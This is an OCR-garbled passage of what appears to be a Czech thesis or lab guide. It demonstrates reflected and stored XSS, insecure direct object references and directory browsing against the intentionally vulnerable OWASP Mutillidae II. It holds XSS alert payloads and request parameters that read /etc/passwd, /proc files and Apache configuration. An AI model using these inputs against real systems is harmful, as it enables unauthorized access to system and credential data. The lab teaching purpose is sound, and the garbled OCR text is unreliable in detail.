Command(s ) : scsser-u h t t p : / / 1 9 2 . 1 6 S . 56.101/mutiLLidae/indesc.php?page=set-background-coLor.php - i / r o o t / N o n e -s —user-agent GoogLebot/2 .1 (+ht Aim 

Obr. 4.27: Report suspicious injections 

Pro př íklad zkusíme použí t nás t ro jem vytvořenou U R L se skriptem alert (vý

straha) : 

http://192.168.56.10 l/mutillidae/index.php?page=set-background-color.php/"> 

<SCRIPT>alert( 'ec46ae3cd8d0bfce447b03a7cle50b61')</SCRIPT> 

Po vložení odkazu do webového prohlížeče Iceweasel je vidět , že způsobil zobra

zení výs t ražného okna alert s náp i sem ec46ae3cd8d0bfce447b03a7cle50b61 a ovlivnil 

i horn í menu webové aplikace. Fakt, že jsme přinut i l i webovou aplikaci k zobrazení 

výs t ražného okna, značí zranitelnost proti ú t o k ů m cross-site scripting. 

50 

http://xsser.sf.net
http:ffl.92
http:ffl.92
http:ffl.92
http:ffl.92
http:ffl.92
http:ffl.92
http:ffl.92
http:ffl.92
http:ffl.92
http:ffl.92
http:ffl.92
http://loa.56.101/mut
http://192.16S
http://192.168.56.10


New Tab - Ice weasel 

t http;//192,..,-coLor.php *j C Connecting... 

($192.168.56.101/mutillidae/index.php? 

O Most Visited » | j | ° f fens ive Security \ K a L i Linux \ K a l i Docs \Ka l iTooLs QExpLoit-DB l^Aircrack-ng 

O W A S P Mutil l idae II: Web Pwn in Mass Production 
Vers ion : 2 .6 .24 Secur i ty Level : 0 (Hosed) Hints: Enabled (1 - S c r i p t K i d d l e ) Not L o g g e d In 

K Log View Captured D 

Page Not Found 

Back " c lass="colorbox" title="Help m e with nanp s p r - h ň r l r n r n i inH-rnlnr nhnf"> 

e c 4 6 a e 3 c d 8 d 0 b f c e 4 4 7 b 0 3 a 7 c l e 5 0 b 6 1 

• Prevent this page f rom creating additional dialogs 

OK 

Obr. 4.28: Použi t í skriptu alert 

Nepa t rně uprav íme předchozí skript: 

http://192.168.56.10 l/mutillidae/index.php?page=set-background-color.php/" 

<SCPJPT>ale r t ( 'Pozor utok X S S ' ) < / S C R I P T > 

Po použi t í takové U R L se výs t ražné okno alert změní na nápis Pozor utok XSS 

a dochází i k výrazné změně horního menu ve formě alert('Pozor utok XSS')">, viz 

obr. 4.29. 

t http://192....-coLor.php « / \j Connecting... 

^ r ($192.168. 56.101/mutiLLidae/index.php?page=set-background-coLor.php/"<SCRIPT>aLert ("Pozor utok XSS')ť/SCRIPT> 

[H Most Visited » I lOffensive 5ecurity \ Kati Linux \<aLiDocs \KaLiTooLs OExpLoit-DB \Aircrack-ng 

OWASP Mutillidae II: Web Pwn in Mass Production 

Get t ing S ta r ted : 
Project 

W h i t e p a p e r 

Vers ion : 2 .6 .24 Secur i ty Level : 0 (Hosed) Hints: Enabled (1 - 5 c r l p t K i d d l e ) Not L o g g e d In 

r utok ESS)'>Tbggle Security a ler t fPozor utok XSS) ">Enforce ! 

Page Not Found 

Back a lert ( 'Pozor u t o k XSS')" c lass="colorbox" title="Hf»ln m p with nsnp spt-hf l rknround-color .php/' 

Pozor o t o k X S S 

Obr. 4.29: Úprava skriptu alert 

V praxi útočníci vytvář í mnohem nebezpečnější skripty, k te ré se navíc kódují 

podle A S C I I tabulky, aby odkazy U R L vypadaly věrohodně při m e t o d ě Reflected. 
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Zde šlo předevš ím o demonstraci, jak j ednoduše si může nezkušený uživatel , k te rý 

nerozumí skr iptovacímu jazyku, ověřit pomocí au tomat ické aplikace škodlivého kódu 

nás t ro jem XSSer , zda-li je cílová webová aplikace zran i te lná proti ú toku cross-site 

scripting metodou Reflected. 

Pro prezentaci metody Stored byl zvolen model pro zneužit í Add to your blog 
4 , viz obr. 4.30. 

Jako př íklad bude použi t skript alert z předchozího úkolu. Abychom ho mohli 

uložit do da t abáze , je n u t n á úprava na tvar: 

<script> alert ("Pozor utok X S S - Stored" )</scr ipt> 

Po tv rzen ím t lač í tka Save Blog Entry se skript uloží do da t abáze a způsobí zob

razení výs t ražného okna alert s náp i sem Pozor utok XSS - Stored. V tomto př ípadě 

to však na rozdíl od metody reflected bude mí t dopad na více věcí. 

V př ípadě , že by nyní někdo chtěl použí t model Add to your blog, se nejprve 

zobrazí výs t ražné okno alert a až po té bude moci blog využí t . 

f % hftp://192....r-btog.php x"\ * 

® 192.165.56.102/mutiLUdaeJinde](.php?page = 3dd-to-your-bLog.php 

t V is i ted* I lo f fens ive Security \ K a l i Linux \ K a l i D o c s \Kaí\ Tools OExpLoit-DB \f l i rcrack-ng 

O W A S P Mutil l idae II: W e b Pwn in Mass Product ion 
Vers ion : 2 .6 .24 S e c u r i t y Level : 0 (Ho 

...i •- • • •-1 -1 • - i • i i.i-.i •. 

5 c r l p t K l d d l 

w Log View Captured 

1 

G e t t i n g S t a r t e d : 
Project 

W h i t e p a p e r 

R e l e a s e 
A n n o u n c e m e n t s 

Welcome To The Blog 

Back Help M e 

<*• Hints 

A d d N e w B log Ent ry 

Q . V i e w Blogs 

A d d blog for anonymous 

N o t e : <b>,<\> and <u> are now a l lowed in blog entr ies] 

Obr. 4.30: Model zneuži t í zranitelnosti - Add to your blog a skript alert 

Pokud zvolíme t lačí tko View Blogs, vybereme z př í spěvků od uživatelů volbu 

Show AU a p o t v r d í m e View Blog Entries, opět dojde k zobrazení výs t ražného okna 

alert, viz obr. 4.31. Je to z důvodu, že jsme chtěli vypsat všechny uložené blogy 

4„OWASP 2013" -> „A3 - Cross Site Scripting (XSS)" -> „Persistent (Second Order)" -> „Add 
to your blog" 

52 

ftp://192....r-btog.php
file:///Kali
file:///KaliDocs
file:///flircrack-ng


v da t abáz i od všech uživatelů včetně toho, k te rý skript do da t abáze vložil, což zavi

nilo spuštění i skriptu alert. V praxi je metoda Stored mnohem nebezpečnější než 

metoda Reflected, protože může postihnout více uživatelů najednou a je p ravděpo

dobnější, že uživatel nechtěně klikne např . na nějakou formu reklamy na webových 

s t r ánkách (dojde ke spuštění skriptu), než na ojedinělý odkaz v e-mailu (metoda 

Reflected). 

j ~> 0 „ „ , « i „ 3 . . . * \ _+  
, ® 192.168. 56.102/mutilUdag/indgx.php;'pagg = vigw-somgongs-blog.php 

t Visited T l i lOffensive Security \ K a L i Linux \ K a l i D o c s \ K a L i Tools OExploi t-DB l^Aircraek-na. 

O W A S P Muti l l idae II: W e b Pwn in Mass Product io 
V e r s i o n : 2 .6 .24 S e c u r i t y Leve l : 0 [Hosed) Hints: Enab led (1 - 5 c r l p t K i d d l e ) Not L o g g e d In 

L o giii/Re g is teľ Totiiil 

View Blogs 

Pozor utok XSS - Stored 

V i e w B log Ent r ies 

Q A d d To Y o u r B log 

Plgasg Choosg Author T | V iew Blog Entri 

Obr. 4.31: Zobrazení výs t ražného okna alert při volbě Show AU 

4.5 Zranitelnost A4 - Insecure Direct Object Re
ferences 

Cílem t é t o úlohy je využí t př ímých odkazů na objekty a získat informace o webové 

aplikaci O W A S P Muti l l idae II. 

/ t http://192...viewer.php * \ + 

^ r ^ 1 9 2 . 1 6 8 . 56. l O l J m utiLLidae/index.php?p3ge = text-file-tfiewer.php  

Ě Most V is i ted* IflOffensive Security \ K a L i Linux \ K a l i D o c s \Kal iToc .Ls OExploi t-DB ^Airtrack-ng 

O W A S P Mutil l idae II: W e b Pwn in Mass Product ion 
V e r s i o n : 2 .6 .24 S e c u r i t y Leve l : 0 (Hosed) Hints: Enab led (1 - S c r i p t K i d d l e ) N o t L o g g e d In 

Hacker Files of Old 

Take the time to read some of these great old school hacker text file 
Just choose one form the list and submit. 

Text File N a m e i Computers by Victor H. Marshall [January 1' " 1 • 

Obr. 4.32: Mode l zneuži t í zranitelnosti - Text File Viewer 
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Pro demonstraci ú toku byl zvolen nás t ro j Burp Suitě a ve webové aplikaci 

O W A S P Muti l l idae II model pro zneuži t í Text File Viewer 5 , viz obr. 4.32. 

Již z n á m ý m postupem z předchozích úloh musíme nejprve nastavit proxy servery 

webového prohlížeče Iceweasel a nás t ro je Burp Suitě k zachycení H T T P komunikace. 

Z nab ídky tex tových souborů byl vyb rán soubor Intrusion Detection in Computers 

by Victor H. Marshall (January 29, 1991). Po kl iknut í na t lačí tko View File dojde 

k zachycení komunikace, viz obr. 4.33. Vyznačený tex tový řetězec můžeme nyní sma

zat a mís to něj napsat cestu k souboru passwd: 

textf i le=/eíc/passiř ;d&text-f i le-viewer-php-submit-but ton=View+File 

Burp Suite Free Edition vl .6.32 O © © 

Burp Intruder R e p e a t e r Window Help 

T a r g e t J~ S p i d e r J S c a n n e r J Intruder T R e p e a t e r T S e q u e n c e r T D e c o d e r T C o m p a r e r T E x t e n d e r T O p t i o n s T A le r t s j 

t"! HTTP h is tory J W e b S o c k e t s h i s tory T O p t i o n s j 

[jŕ] R e q u e s t to h t t p : / / l S Z . l G H . 5 G . 1 Q 1 : H Q 

|̂  Fo rward j |̂  Drop J J Intercept is on ] |̂  Act ion |̂S5J 

J Raw ^ Para rns H e a d e r s Hex 

POST / m u t i l l i d a e / i n d e x . p h p ? p a g e = t e x t - f i l e - v i e w e r . p h p H T T P / 1 . 1 
H o s t : 1 9 2 , 1 6 3 . 5 6 . 1 0 1 

U s e r - A g e n t : M n z i U a / S . G ( X l l j L i n u x x S 6 _ 6 4 j r v : 3 3 . 0 ) G e c k o / 2 0 1 0 0 1 0 1 F i r e f o x / 3 3 . 0 I c e w e a s e l / 3 3 . 6 . 1 
A c c e p t : t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x n l ; q = 0 . 9 , * / * ; q = 0 . 8 
A c c e p t - L a n g u a g e : e n - U S , e n ; q = 0 . 5 
A c c e p t - E n c o d i n g : g z i p . d e f l a t e 

R e f e r e r : h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 0 1 / n u t i l l i d a e / i n d e x . p h p ? p a g e = t e x t - f i l e - v i e w e r . p h p 
C o o k i e : s h o w h i n t s = l ; P H P S E S S I D = u 3 1 ] b 7 d o 7 b a l 3 d v m l r h d m g 2 u d 6 ; a c o p e n d i v i d s = s w i n g s e t , ] o t t o J p h p b b 2 , r e d m i n e j 
a c g r o u p s w i t h p e r s i s t = n a d a 
C o n n e c t i o n : c l o s e 

C o n t e n t - T y p e : a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d 
C o n t e n t - L e n g t h : 1 0 9 

t e x t f i l e = h t t p%3A%2R.2Fwww. t e x t f i l e s . c o m % 2 F h a c k i n g % 2 F a u d i t o o l . t x t i t e x t - f i l e - v i e w e r - p h p - s u b m i t - b u t t o n = V i e w + F i l e 

[ ? ] [ < ] [ + ] [ > ] j Type a search term 

Obr. 4.33: Zachycení H T T P komunikace 

Kl iknu t ím na t lač í tko Forward odešleme upravený požadavek webovému serveru 

ke zpracování a v prohlížeči Iceweasel dostaneme odpověď, viz obr. 4.34. J e d n á se 

o textovou da tabáz i , obsahující informace o uživatelích, k teř í se mohou přihlási t do 

sys tému a uživatelských ident i tách OS vlastnící běžící procesy. Útočník by se mohl 

ze souboru dozvědět uživatelská jména , šifrovaná hesla, čísla U I D (User ID number), 

čísla G I D (Group ID number), celá j m é n a uživatelů, domovské adresáře a příkazový 

te rminá l (shell). 

5 „OWASP 2013" -> „A4 - Insecure Direct Object References" -> „Text File Viewer" 
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File: /etc/passwd 
root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/bin/sh 
bin:x:2:2:bin:/bin:/bin/sh 
sys:x:3:3:sys:/dev:/bin/sh 
sync:x:4:65534:sync:/bin:/bin/sync 
games:x:5:60:games:/usr/games:/bin/sh 
man:x:6:12:man:/var/cache/man:/bin/sh 
lp:x:7:7:lp:/var/spool/lpd:/bin/sh 
mail:x:8:8:mail:/var/mail:/bin/sh 
news:x:9:9:news:/var/spool/news:/bin/sh 
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh 
proxy:x:13:13:proxy:/bin:/bin/sh 
www-data:x:33:33:www-data:/var/www:/bin/sh 
backup:x:34:34:backup:/var/backups:/bin/sh 
list:x:38:38:Mailing L i s t Manager:/var/list:/bin/sh 
ire:x:39:39:ircd:/var/run/ircd:/bin/sh 
gnats:it:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh 
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh 
libuuid:x:100:101::/var/lib/libuuid:/bin/sh 
syslog:x:101:102::/home/syslog:/bin/false 
klog:x:102:103::/home/klog:/bin/false 
mysql:x:103:105:MySQL Server,,,:/var/lib/mysql:/bin/false 
landscapes: 104:122: :/var/lib/landscape:/bin/false 
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin 
postgres:x:106:109:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash 
messagebus:x:107:114::/var/run/dbus:/bin/false 
tomcat6:x:108:115::/usr/share/tomcat6:/bin/false 
user:x:1000:1000:user,,,:/home/user:/bin/bash 

Obr. 4.34: Výpis souboru passwd 

Kromě souboru passwd může ú točn ík získat informace o běžících procesech na 

serveru, verzi serveru atd. p ros t ředn ic tv ím souborového sys tému proc. S te jným po

stupem jako u souboru passwd (musíme znovu zachytit H T T P komunikaci) zjistíme 

verzi kernelu: 

textfile=/proc /•yersion&text-file-viewer-php-submit-button=View+File 

Z obrázku 4.35 je vidět konkré tn í verze používaného OS a datum poslední aktu

alizace. 

File: /proc/version 
Linux ť e r s i o n 2 . 6 , 3 2 - 2 5 - g e n e r i c - p a e (bu i ldd@rothera ) tgcc v e r s i o n 4 . 4 , 3 (Ubuntu 4 .4 .3-4ubuntu5) ) #44-Ubuntu SMP F r i Sep 17 21 :57 :48 UTC 2B1G 

Obr. 4.35: Výpis souboru version 
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Směrovací tabulku: 

textfile= /proč /net/rowŕe&text-file-viewer-php-submit-button=View+File 

File: /proc/net/route 
Iface D e s t i n a t i o n Gateway Flags RefCnt Use Metric Mask MTU Window IRTT 
ethO GG38A8CG GGGGGGGG GGG1 G G G GGFFFFFF 0 0 Q 

Obr. 4.36: Výpis souboru route 

A R P tabulku: 

textfile= /proč /net/arp&text-file-viewer-php-submit-button=View+File 

Poskytuje informace pro vyhledání IP adres pro j iné interní servery. 

File: /proc/net/arp 

IP address FW type F l ags FW address Mask Device 
1 9 2 . 1 6 8 . 5 6 . 1 Gx l 0x2 Ga :GG:27 :GG:GG:GG * ethO 

Obr. 4.37: Výpis souboru arp 

Konfigurační soubor Apache serveru: 

t e x t f i l e = / e t c / a p a c h e ž / apachež. con/&text-file-viewer-php-submit-button 

=View+Fi le 

V tomto souboru je uvedená celá konfigurace webového serveru Apache. Obrázek 

4.38 reprezentuje vzhledem k d louhému výpisu pouhý zlomek. 

File: Zetc/apache2/apache2.conf 
# 
# Basec upon t h e NCSA s e r v e r c o n f i g u r a t i o n f i l e s o r i g i n a l l y by Rob H c C o o l , 
# 
# T h i s i s t h e main Apache s e r v e r c o n f i g u r a t i o n f i l e . I t c o n t a i n s t h e 
# c o n f i g u r a t i o n d i r e c t i v e s t h a t g i v e t h e s e r v e r i t s i n s t r u c t i o n s . 
# See h t t p : / / h t t p d , a p a c h e , o r g / d o c s / 2 , 2 / f o r d e t a i l e d i n f o r m a t i o n abou t 
# t h e c i r e c t i v e s , 
# 
# Do NOT s i m p l y r ead t h e i n s t r u c t i o n s i n h e r e w i t h o u t u n d e r s t a n d i n g 
# what t h e y d o . T h e y ' r e h e r e o n l y as h i n t s o r r e m i n d e r s . I f you a r e u n s u r s 
# c o n s i . l t t h e o n l i n e d o c s . You have been w a r n e d . 

Obr. 4.38: Výpis části souboru apache2.conf 
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Pokud je webová aplikace nezabezpečená a používá př ímé odkazy na objekty 

může se ú točn ík dozvědět velké množs tv í uži tečných informací o sys tému a uživa

telích. Záleží pouze, jakou m á celkovou znalost o cílovém sys tému a jeho s t ruk tu ře , 

aby mohl př i s tupova t k j edno t l ivým souborům a číst jejich obsah. 

4.6 Zranitelnost A5 - Security Misconfiguration 

Cílem t é to úlohy je využít nezabezpečenou konfiguraci k prozkoumání adresářů a 

souborů, k teré by neměly být neoprávněným osobám př í s tupné a získat tak infor

mace o webové aplikaci O W A S P Muti l l idae II. 

Pro demonstraci ú toku byl zvolen nás t ro j Burp Suitě a ve webové aplikaci 

O W A S P Muti l l idae II model pro zneuži t í Directory Browsing 6 , viz obr. 4.39. 

f t http://192...w3ing.php * \ + 

(V̂  ® 192.168. 56.101/mutiLLidae/index.php?page^directory-browsing.php v C | Q. Search 

§2 Most Visited T |j| Offensive Security \ K a L i Linux \ K a l i D o c s \KaL iToots ÜExplo i t-DB KAircraek-ng 

O W A S P Muti l l idae II: W e b Pwn in Mass Product ion 
Version: 2.6.24 Security Level: 0 (Hosed) Hints: Enabled (1 - 5crl.pt Kiddle) Not Logged In 

I Directory Browsing 

'Vj-ĵ ) Back Help Me! 

HTML 5 • Hints 

I Others • Directory Browsing 

S o m e w e b s e r v e r s a re m i s c o n f i g u r e d a n d al low d i r e c t o r y b r o w s i n g . Th is a n 
e a s y mis take t o m a k e . Whi le m o s t s i tes d isab le d i r e c t o r y b r o w s i n g o n the 
" h o m e " or root page, s o m e al low b r o w s i n g o n o t h e r d i r ec to r i e s . For e a c h 
fo lder f o u n d in the s i te , a t t empt to b r o w s e t o the fo lder w i t h o u t the page 
n a m e . If u s i n g g r e p , l ook for " Index Of" as a m a t c h . 

O W A S P Muti l l idae II s e e m s t o d isa l low d i r e c t o r y b r o w s i n g o n the root p a g e . 
Try b r o w s i n g to http : // loca lhost/mut i l l idae . Likely th i s will load the h o m e 

p a g e . H o w e v e r , the site m a y not be c o n f i g u r e d per fect ly . P e r h a p s if a fo lder 
n a m e w a s k n o w n , w e c o u l d t r y t o b r o w s e t o that fo lder (i.e. -

ht tp : / / loca lhost/mut i l l idae/<fo lder>) . 

If help is n e e d e d f igur ing out fo lder n a m e s , t r y ac t i va t ing h in ts . 

II — 

S o m e w e b s e r v e r s a re m i s c o n f i g u r e d a n d al low d i r e c t o r y b r o w s i n g . Th is a n 
e a s y mis take t o m a k e . Whi le m o s t s i tes d isab le d i r e c t o r y b r o w s i n g o n the 
" h o m e " or root page, s o m e al low b r o w s i n g o n o t h e r d i r ec to r i e s . For e a c h 
fo lder f o u n d in the s i te , a t t empt to b r o w s e t o the fo lder w i t h o u t the page 
n a m e . If u s i n g g r e p , l ook for " Index Of" as a m a t c h . 

O W A S P Muti l l idae II s e e m s t o d isa l low d i r e c t o r y b r o w s i n g o n the root p a g e . 
Try b r o w s i n g to http : // loca lhost/mut i l l idae . Likely th i s will load the h o m e 

p a g e . H o w e v e r , the site m a y not be c o n f i g u r e d per fect ly . P e r h a p s if a fo lder 
n a m e w a s k n o w n , w e c o u l d t r y t o b r o w s e t o that fo lder (i.e. -

ht tp : / / loca lhost/mut i l l idae/<fo lder>) . 

If help is n e e d e d f igur ing out fo lder n a m e s , t r y ac t i va t ing h in ts . 

% 
Getting Started: 

Project 
Whitepaper 

* 
Release 

Announcements 

S o m e w e b s e r v e r s a re m i s c o n f i g u r e d a n d al low d i r e c t o r y b r o w s i n g . Th is a n 
e a s y mis take t o m a k e . Whi le m o s t s i tes d isab le d i r e c t o r y b r o w s i n g o n the 
" h o m e " or root page, s o m e al low b r o w s i n g o n o t h e r d i r ec to r i e s . For e a c h 
fo lder f o u n d in the s i te , a t t empt to b r o w s e t o the fo lder w i t h o u t the page 
n a m e . If u s i n g g r e p , l ook for " Index Of" as a m a t c h . 

O W A S P Muti l l idae II s e e m s t o d isa l low d i r e c t o r y b r o w s i n g o n the root p a g e . 
Try b r o w s i n g to http : // loca lhost/mut i l l idae . Likely th i s will load the h o m e 

p a g e . H o w e v e r , the site m a y not be c o n f i g u r e d per fect ly . P e r h a p s if a fo lder 
n a m e w a s k n o w n , w e c o u l d t r y t o b r o w s e t o that fo lder (i.e. -

ht tp : / / loca lhost/mut i l l idae/<fo lder>) . 

If help is n e e d e d f igur ing out fo lder n a m e s , t r y ac t i va t ing h in ts . 

Obr. 4.39: Model zneužit í zranitelnosti - Directory Browsing 

Nejprve je n u t n é opět zachytit H T T P komunikaci nás t ro jem Burp Suitě. V tomto 

př ípadě dojde k zachycení s t i sknut ím t lač í tka F5 sloužícího k obnovení webové 

s t ránky. Po zachycení H T T P komunikace vypneme zachytávání k l iknut ím na t lačí tko 

Intercept is on v záložce Proxy/Intercept a p řepneme se do záložky Target/Site 

map. 

Site map (mapa s t ránky) shromažďuje veškeré informace, k teré nás t ro j shromáž

di l v p r ů b ě h u testování . V t é t o úloze zde nás t ro j shromáždi l všechny informace ze 

zachyceného požadavku a pomocí passive spidering (pasivní „spidering" - metoda, 

6 „OWASP 2013" -> „A5 - Security Misconfiguration" -> „Directory Browsing" 
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k te rá zpracuje všechny H T T P požadavky /odpověd i , z nichž vybuduje p o d r o b n ý ob

sah o aplikaci) další obsah, k te rý lze vyvodit z odkazů aplikace, formulářů, vazeb 

atd., viz obr. 4.40. 

Burp Suite Free Edition vi.6.32 e e o 
Burp Intruder Repeater Window Help 

[ Target j Proxy J Spider J Scanner J Intruder T Repeater T Sequencer T Decoder J Comparer J Extender J Options J Alerts 

Scope j 

Filter: Hiding not found items: hiding CSS. image and general binary content: hiding 4xx responses : hiding empty folders KS 
f} https://192.16B.55.101 

|~ rnutillidae 
• r~ documentation 

Q framer.html 
*• i images 
T f 1 - includes 

* $ pop-up-help-context-generator. php 
*- index, php 
• 7~ javascript 
• $ level-1 -hints-page-wrapper, php 

O set-up-database, php 
• C webservices 
https://addons.mozilla. org 
http://localhost 
http://sarnurai.inguardians com 
http://sourceforge. net 
https://twitter.com  
http://www.dynamicdrive.com  
http://www.o wasp, org 
https://www.owasp.org  
https://www.sans.org 
http:,vwww. w Fi.org  
http://www.youtube.com 

Host Method URL Params Stát . . . 1 Length MIME t y p e 1 Title 

https //192.168.55.101 GET ..'m Liti lidae/index php... 200 45451 HTML "I* 
https //192.168.55.101 GET ..'ni Liti lidae/images/ri... j 3Ü4 3 3 í 
https //192.1GB.55.1D1 GET .'ni Liti lidae/javascript... • 3'j4 script 
https //192 163.55.101 GET ..'m uti lidae/javascript... • 3C4 3G: script 
https //192.1GB. 55.101 GET ..'ni Liti lidae/javascript... 304 36 C script 
https //192.163.55.101 GET :'m Liti lidae/javascript... • 3'J4 36 Ľ 
https //192 163.55.101 GET .•'ni uti lidae/javascript... • 3Ü4 36 C script 
https //192.1GB. 55.101 GET ..'lil Liti lidae/javascript... • 304 36 C script 
https //192.1GB. 55.1D1 GET ••in Liti lidae/javascript... • 3'J4 351 script 
https //192.163.55.101 GET .'ni Liti l idae/documen... 
https //192.1GB.55.101 GET lil Liti lidae/frarner. ht . • HTML [T 

[ Request "[ Response 

J" Raw ^ 
Headers Hex 

GET / m u t i l l i d a e / i n d e x . p h p HTTP/1. 
Host : 1 9 2 . 1 B H . 5 6 . 1 0 1 
ftccept: * / * 
A c c e p t - L a n g u a g e : en 
Connect i o n : c l o s e 

[ 7 ) [ < I [ + ] [ > 1 j Type B search t 

Obr. 4.40: Shromážděný obsah o webové aplikaci ze zachycené H T T P komunikace 

Burp Suite Free Edition vl .6 .32 O © © 

Burp Intruder R e p e a t e r Window Help 

[ T a r g e t J Proxy J S p i d e r | S c a n n e r J Intruder T R e p e a t e r T S e q u e n c e r J"pecoder~J C o m p a r e r J E x t e n d e r T O p t i o n s T A le r t s ]  

f Cont ro l "j O p t i o n s j  

(YJ Spider Status 

U s e t h e s e se t t ings to m o n i t o r and control Burp Sp ider . T o beg in s p i d e r i n g , b r o w s e to the t a r g e t appl icat ion, then right-click one or m o r e n o d e s in 
the ta rget site m a p , and c h o o s e " S p i d e r th is h o s t / b ranch" . 

f S p i d e r is running ] |̂  C l e a r q u e u e s J 

R e q u e s t s m a d e : 547 

B y t e s t r a n s f e r r e d : 4 . 5 0 0 . 7 9 5 

R e q u e s t s q u e u e d : 0 

F o r m s q u e u e d : 0 

(Y) Spider Scope 

0 U s e suite s c o p e [def ined in T a r g e t tab] 

O U s e c u s t o m s c o p e 

Obr. 4.41: Zkoumání složky rnutillidae a jejího obsahu 
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Abychom mohli prohlížet veškerý obsah webové aplikace, je nu tné použí t mo

dul Spider, k t e rý automaticky prozkoumává cookies, inicializuje spojení s webovou 

aplikací, vypisuje a mapuje různé s t r ánky a parametry cílové webové s t ránky. 

Kl iknu t ím p r a v ý m t lač í tkem na podsložku mutillidae h lavní větve https://192.16  

8.56.101 v záložce Target/Site map a zvolením Spider this branch, odešleme pří

kaz modulu Spider k p r ů z k u m u t é t o podsložky. Nást ro j nás upozorní , že zvolená 

položka není ve vymezeném rozsahu testování , a zda-li chceme rozsah automaticky 

upravit. Kl iknu t ím na Yes Burp Suite vymezí pole p r ů z k u m u pouze na zvolenou 

složku mutillidae a všechny její podsložky. 

Po té nás t ro j provede p růzkum, viz obr. 4.41. Po dokončení je z obrázku vidět 

celkový počet provedených požadavků (Requests made) a přenesených b y t ů (Bytes 

transferred). 

V t é t o chvíli bude shromážděný obsah v záložce Target/Site map rozšířen, 

viz obr. 4.42. Např ík lad adresář includes obsahuje mnohem více souborů než na 

obrázku 4.40, což bylo účelem, protože nyní je lze možné prohlížet i soubory, k teré 

byly v předchozím kroku skryté a mohou n á m poskytnou cenné informace o webové 

aplikaci. 

Burp Suite Free Edition vi.6.32 e 
Burp Intruder Repeater Window Help 

'arget | Proxy J Spider J Scanner J Intruder | Repeater | Sequencer | Decoder J Comparer | Extender J Options j Alerts j 

Site map Scope 

Filter: Hiding not found items; hiding CSS , image and general binary content; hiding 4xx responses ; hiding empty folders 

Host Method URL i Params 1 Stat... A Length | MIME type 1 Title 

https://192.16 .55.101 GET /m uti 1 dae/ • 200 45927 HTML 
https://192.16 .55.101 GET /m uti 1 dae/?page = a. a 200 46075 HTML 
https://192.16 .55.101 GET /m uti 1 dae/?page = cr a 200 4 3 3 7 Ě HTML 
https://192.16 .55.101 GET /m uti 1 dae/?page = s. a 200 49743 HTML 
https://192.16 .55.101 GET /m uti 1 dae/?page = s. H 200 46501 HTML 
https://192 16 .55.101 GET /m uti 1 dae/?page=te a 200 44527 HTML 
https://192.16 .55.101 GET /m uti 1 dae/ajax/ _ i 200 14S3 HTML Index of /i 
https://192.16 .55.101 GET /m uti 1 dae/ajax/?C=. a 200 145 3 HTML Index of /i 
https://192.16 .55.101 GET /m uti 1 dae/ajax/7C=. a 200 146 3 HTML Index of /r 
https://192.16 .55.101 GET /m uti 1 dae/ajax/?C=. a 200 146 3 HTML Index of /r 
https://192.16 .55.101 GET /m uti 1 dae/ajax/?C=. 200 145 3 HTML Index of /i 

J 
Request | Re sponse 1 

f Raw [ Para IT s j Headers j Hex | 

GET • i n u t i l l i d a* > . plip?pag5=-:li r-Mt o ry - I: i n :i. php HTTF • 1.1 
Hv_~t : 1 9 2 . 1 6 8 . 5 6 , 1 0 1 
U s e r - A g e n t : M o z i l l a / 5 . ü ( X l l ; L i n u x x36 64; rv :3S ,0) Gecko/20100101 F i r e f o x / 3 8 . C 
I c e v e a s e l / 3 8 , 6 , 1 
Accept : t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l q = 0 . 9 , * / * ; q = G . £ 
Accept -Langua ge: en- US, en ; q= O.E 

J Accept - E n c o d i n g : g z i p , d e f l a t e -R í f í r e r : ľ r t t | ; s ; / -'l'-f2. l<žž. 5<ž-, 101 •'mut i l l i d a í .••in-:ki . |>h|j?page=di r e c t o ry- b rows ing . php 
C o o k i e : showhint5= l j PHP5E5SID=u3l jb7do7ba l3dv T i l r h d m g 2 u d 6 ; 
a c o p e n d i v i d s = s w i n g s e t , j o t t o p h p b b 2 , r e d m i n e ; a c g r o u p s w i t h p e r s i s t = n a da 

[ ? ] [ < j [ + ] [ > ] 1 Type a search term 

^ 0 matches 

T P1 https://192.163.55. ia i 

ľ" mutillidae 

aja* 
\Z capture-data.php 

• I documentation 
[2 framer.html 

• l~~ images 
T includes 

• # / 
12 a nti-framing-protection, inc 
Q back-button.inc 
Q config.inc 
Q constants.php 
2] ere ate-htm 1-5-web-storage-target, inc 
B documentation 
Q footer.php 
[1 header.php 
Q help-button, inc 

* B hints-level-1 
• • hints-level-2 
*• I includes 

Q index .php 
Q information-d is closure-comment, php 
[]] insufficient-transport-layer-protectior 

* r - javascript 
Q jquery-init.inc 
Q log-visit.php 

-v. • n 

Obr. 4.42: Shromážděný obsah modulem Spider 

Pokud bychom zvolil i adresář includes a v n ě m soubor conftg.ini, tak v záložce 

Response/Raw je zobrazen obsah tohoto souboru, viz obr. 4.43. Zde se ú točník 

dozví název hosta da t abáze (localhost), uživatelské j m é n o (root), heslo (-) a název 

da t abáze (owasplO). 
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f Request J Response j 

f Raw j Headers j H -

HTTP/1.1 200 OK 
Date: Hon, 04 Apr 2016 10 :25 :32 GMT 
Server : Apache/2 ,2 .14 [Ubuntul mod_mono/2,4.3 PHP/5 .3 ,2- lubuntu4 .30 wi th Suhosin-Patch 
p roxy_h tml /3 ,0 . 1 mod_python/3,3.1 Py thon/2 .6 , 5 mod_ss l /2 .2 ,14 OpenSSL/0.9,Sk 
Phus ion_Passenger/4 ,0 ,38 mod_per l/2 . 0, 4 P e r l / v 5 . 1 0 , l 
L a s t - M o d i f i e d : F r i , 27 Sep 2013 02 :47 :08 GMT 
ETag: "5e99a-18f-4e754809ec300" 
Accept - Ranges: bytes 
Content-Length: 399 
Connect ion : c lose 
Content-Type: t e x t / p l a i n 

<?ph|3 
/* NOTE: On Samurai , the $dbpass password i s "samurai" rather than blank */ 

/* PLEASE NOTE CAREFULLY: THIS PAGE IS DEPRECIATED BUT WILL REMAIN AS AN EASTER EGG OR 
* HACKING TARGET, THIS PAGE USED TO DATABASE CONNECTION INFORMATION 
* BUT WAS REPLACED BY THE MySQLHandler CLASS 
•/ 

